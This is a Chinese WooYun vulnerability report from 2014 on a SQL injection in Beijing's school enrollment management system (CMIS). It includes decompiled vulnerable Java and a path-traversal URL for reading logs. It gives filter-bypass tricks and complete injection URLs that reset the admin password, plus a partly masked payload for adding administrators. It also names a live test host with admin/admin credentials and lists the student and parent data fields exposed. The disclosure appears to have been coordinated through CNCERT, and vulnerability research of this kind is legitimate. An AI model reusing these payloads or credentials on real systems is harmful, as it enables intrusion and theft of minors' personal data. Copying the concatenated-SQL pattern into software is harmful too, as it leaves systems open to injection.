当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081714

漏洞标题:北京市通用学籍管理系统SQL注入可造成几百万学生详细数据泄露

相关厂商:北控软件有限公司

漏洞作者: Haswell

提交时间:2014-11-04 18:09

修复时间:2015-02-02 18:10

公开时间:2015-02-02 18:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-04: 细节已通知厂商并且等待厂商处理中
2014-11-09: 厂商已经确认,细节仅向厂商公开
2014-11-12: 细节向第三方安全合作伙伴开放
2015-01-03: 细节向核心白帽子及相关领域专家公开
2015-01-13: 细节向普通白帽子公开
2015-01-23: 细节向实习白帽子公开
2015-02-02: 细节向公众公开

简要描述:

截至至目前,北京市全部中小学在校内均部署cmis系统,而且业务面极广,内含大量敏感数据,包括学生家长,应届毕业生在内的详细到电话住址的记录,所以cmis也成为针对学生的诈骗,营销的黑色产业链的主要数据来源。同样,由于和多套其它系统同时部署,也会互相殃及。
结合另外一个漏洞成功变time-based为error-based,绕过过滤策略。这一处SQL注入可以在cmis内执行任意SQL语句,通过特定构造可以任意添加管理员,修改,下载敏感数据。

详细说明:

首先是信息收集环节
因为北京每个学校都部署了相同系统
所以很顺利地找到了官网:card.bjedu.com
下载安装包,进行反编译


<img src=".https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/201410/31230032de80946ecf011ee342a3a075cd411d72.jpg" alt="" />
反编译问题class文件
\ediasoft\webapps\cmis40\WEB-INF\classes\com\becom\cmis40\webapp\action\PictureFOS.class

public Object performTask(HttpServletRequest request, HttpServletResponse response)
{
......

String pid = request.getParameter("pid");
String type = request.getParameter("type");

........
try
{
pictureFile = this.communityUtilityExt.findPictureForTOrS(pid, type);
if (StringUtil.isEmpty(pictureFile)) {
SystemMessage.addErrorMessage(op + "照片显示,系统没有设置照片存放路径参数!");
return null;
}
.......
File file = new File(picturePath + File.separator + "localschool" + File.separator + pictureFile);
......
}


观察到pid参数是直接request.getParameter()传入,
跟进findPictureForTOrS()
反编译\ediasoft\webapps\cmis40\WEB-INF\classes\com\becom\cmis40\webapp\action\communityUtilityExt.class

public String findPictureForTOrS(String pid, String type)
{
try
{
........
String sql = "select picture from " + table + " where p_id=" + pid;
List res = getJdbcTemplate().query(sql, new RowMapper()
{
public Object mapRow(ResultSet rs, int arg1) throws SQLException {
return rs.getString("picture");
}
});
if (res.size() == 0) return null;
return (String)res.get(0);
} catch (Exception e) {
SystemMessage.addErrorMessage("CommunityUtilityExt.findPictureForTOrS(" + pid + "-" + type + "):" + e.getMessage());
e.printStackTrace();
}
return null;
}


"select picture from " + table + " where p_id=" + pid;
我们看到pid被直接拼接在sql语句中,造成一处注入,又因为在performTask()中没有对访问者身份进行验证,从而造成越权,所以无需登录即可利用。
接下来找到了重置密码函数

public boolean resetPwd(String[] pids, String newPwd)
{
List sqlList = new ArrayList();
Encryption encryption = new Encryption();
String pwd = encryption.encodePassword(newPwd, null);
if ((pids != null) && (pids.length > 0)) {
for (String pid : pids) {
String sql = "update o_userpassword set password = '" + pwd + "' where p_id =" + pid;
sqlList.add(sql);
}
.......
}


得知用户密码存在 o_userpassword 中,并以encryption.encodePassword()加密。
跟进加密函数

public String encodePassword(String rawPass, Object salt) throws DataAccessException
{
return encrypt(rawPass);
}


-->

public static String encrypt(String str)
{
......
String digestStr = computeDigest(str);
return computeDigest(digestStr);
}


-->

public static String computeDigest(String str)
{
return computeDigest(str, "MD5");
}


computeDigest()实现MD5加密
encrypt()中调用computeDigest()两次
由此得知加密算法为md5(md5(pass))
也就是说更新admin密码sql如下

update o_userpassword set password  = md5(md5(pass)) where loginname = 'admin';


但是这时候问题来了

11.jpg


经过反复地排查,我确认在我下到的这个版本源码中并没有相关安全策略,估计是做了更新
于是便尝试绕过
http://wooyun.org/bugs/wooyun-2010-081581
结合这个漏洞

http://host/cmis40/PictureFOS.a?pid=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f+[dir]


对本地文件包含进行利用,成功包含cmis的错误日志

12.jpg


写了中转脚本对错误日志进行筛选匹配再观察(放到测试代码里了)

13.jpg


得出了如下过滤策略

' < > + 空格


经过实验,得出如下绕过策略:

“+”url编码即可,为%2b
单引号 char()一下
空格注释下/**/


尝试在中转脚本使用sqlmap,但是无奈注不动只能手动
构造出poc

host.com/cmis40/PictureFOS.a?pid=1;DECLARE/**/@X/**/VARCHAR(40),@Y/**/VARCHAR(10);SET/**/@X=[md5(md5(pass))];SET/**/@Y=[username];update/**/o_userpassword/**/set/**/password=@X/**/where/**/loginname=@Y--


例如md5(md5('admin'))='74D839D98630E280DF752E8939454A6B'
构造语句修改admin密码为admin:

http://host.com/cmis40/PictureFOS.a?pid=1;DECLARE/**/@X/**/VARCHAR(40),@Y/**/VARCHAR(10),@TIME/**/CHAR(9);SET/**/@X=CHAR(55)%2bCHAR(52)%2bCHAR(68)%2bCHAR(56)%2bCHAR(51)%2bCHAR(57)%2bCHAR(68)%2bCHAR(57)%2bCHAR(56)%2bCHAR(54)%2bCHAR(51)%2bCHAR(48)%2bCHAR(69)%2bCHAR(50)%2bCHAR(56)%2bCHAR(48)%2bCHAR(68)%2bCHAR(70)%2bCHAR(55)%2bCHAR(53)%2bCHAR(50)%2bCHAR(69)%2bCHAR(56)%2bCHAR(57)%2bCHAR(51)%2bCHAR(57)%2bCHAR(52)%2bCHAR(53)%2bCHAR(52)%2bCHAR(65)%2bCHAR(54)%2bCHAR(66);SET/**/@Y=CHAR(97)%2bCHAR(100)%2bCHAR(109)%2bCHAR(105)%2bCHAR(110);update/**/o_userpassword/**/set/**/password=@X/**/where/**/loginname/**/=/**/@Y--


就是这样,反编译OUser.class OUserpassword.class OUserrole.class观察表结构,并对改变用户函数updateRole进行追踪:

public boolean updateRole(String[] admitedRole, Integer pId, String loginName)
{
List sqlList = new ArrayList();
try
{
String delSql = "delete from o_userrole where p_id = " + pId;
getJdbcTemplate().execute(delSql);
if ((admitedRole != null) && (admitedRole.length > 0)) {
for (String roleId : admitedRole) {
String sql = "insert into o_userrole (roleid,p_id) values('" + roleId + "','" + pId + "')";
sqlList.add(sql);
}
String[] arrSql = (String[])sqlList.toArray(new String[sqlList.size()]);
getJdbcTemplate().batchUpdate(arrSql);
}
int f = getJdbcTemplate().queryForInt("select count(*) from o_userpassword where p_id =" + pId);
if (f == 0)
{
Encryption encryption = new Encryption();
String pwd = encryption.encodePassword("123456", null);
String longinSql = " insert into o_userpassword (p_id,loginname,password,backupa)values('" + pId + "','" + loginName + "','" + pwd + "','1') ";
getJdbcTemplate().update(longinSql);
}
String sql = "update o_userpassword set loginname = '" + loginName + "' where p_id =" + pId;
getJdbcTemplate().update(sql);
return true; } catch (Exception e) {
}
return false;
}


可以很容易构造出添加管理员,改变用户角色,mask一下

mask 区域
*****SET/**/@roleid=CHAR(48);delete/**/from/**/o_userrole/**/where/**/p_id=@pid;update/**/o_userpassword/**/*****

,exp放在测试代码里了

17.jpg

漏洞证明:

影响巨大
可以对敏感数据进行导出,修改等操作

14.jpg

15.jpg

16.jpg


包括
学段 年级 班级 p_id 姓名 性别 证件号 学生学籍号 姓名拼音 曾用名 学生类别 证件类型 出生日期 出生地 民族 籍贯 宗教信仰 港澳台侨 健康状况 现住址所属区县 现住址 户口性质 就读方式 国别 特长 联系电话 通信地址 入学成绩(总分) 校内编号 建立学籍依据 有关材料证明 本记录建立日期 中考考号 高考考号 毕业考号 备注 学生状态 政治面貌 原学校名称 入学年月 入学方式 来源地区 升学准考证号 学生来处(地区) 学生来源 姓名 关系 工作单位 联系电话 姓名 关系 工作单位 联系电话 监护人姓名 监护人关系 监护人工作单位 监护人联系电话 监护人职务 个人照片

测试用平台 http://58.116.157.15/cmis40/ 北京东方德财学校 admin admin,未导出任何数据

修复方案:

滤:)

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-11-09 09:29

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向北京市政府信息化主管部门通报,由其后续联系网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-04 18:24 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    CMIS频繁被射为哪般?究竟是人性的扭曲还是道德的沦丧?

  2. 2014-11-04 19:51 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    传说中的第二弹来了?

  3. 2014-11-04 20:11 | 汪哥 ( 路人 | Rank:28 漏洞数:6 )

    CMIS频繁被射为哪般?究竟是人性的扭曲还是道德的沦丧?

  4. 2014-11-05 00:32 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    @汪哥 惊现汪哥 ,火前留名

  5. 2014-11-05 00:48 | Haswell ( 普通白帽子 | Rank:167 漏洞数:18 | HorizonSec @ RDFZ)

    @老和尚 惊现linso火钳留名

  6. 2015-02-03 14:27 | goubuli ( 普通白帽子 | Rank:324 漏洞数:61 )

    @Haswell 这个是大厂商吗?